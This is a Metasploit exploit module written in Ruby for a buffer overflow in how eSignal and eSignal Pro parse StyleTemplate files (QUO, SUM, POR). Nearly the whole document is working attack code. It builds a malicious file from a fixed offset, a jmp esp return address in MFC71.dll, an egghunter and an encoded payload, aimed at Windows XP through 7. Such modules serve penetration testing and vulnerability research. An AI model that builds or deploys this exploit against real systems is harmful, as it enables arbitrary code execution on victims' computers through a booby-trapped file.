eSignal and eSignal Pro <= 10.6.2425.1208 File Parsing Buffer Overflow in QUO

##
# $Id: esignal_styletemplate_bof.rb 13765 2011-09-20 17:39:53Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',
   'Description'    => %q{
    The software is unable to handle the "<StyleTemplate>" files (even
    those original included in the program) like those with the registered
    extensions QUO, SUM and POR. Successful exploitation of this vulnerability
    may take up to several seconds due to the use of egghunter.  Also, DEP
    bypass is unlikely due to the limited space for payload.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Luigi Auriemma',                          # Original discovery
     'TecR0c <tecr0c[at]tecninja.net>',         # msf
     'mr_me <steventhomasseeley[at]gmai.com>',  # msf
    ],
   'Version'       => '$Revision: 13765 $',
   'References'    =>
    [
     #[ 'CVE', '?' ],
     #[ 'OSVDB', '?' ],
     [ 'BID', '49600' ],
     [ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/17837/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00"
    },

   'Targets'        =>
    [
     [
      'Win XP SP3 / Windows Vista / Windows 7',
      {
       'Ret'     =>  0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
       'Offset'  =>  54
      }
     ],
    ],
   'Privileged'  => false,
   'DisclosureDate' => 'Sep 06 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
   ], self.class)

 end

 def exploit
  eggoptions =
  {
   :checksum => false,
   :eggtag => 'eggz'
  }

  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  buffer =  rand_text_alpha(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << rand_text_alpha_upper(4)
  buffer << hunter
  buffer << rand_text_alpha_upper(1500)
  buffer << egg

  file = "<StyleTemplate>\r\n"
  file << "#{buffer}\r\n"
  file << "</StyleTemplate>\r\n"

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(file)
 end
end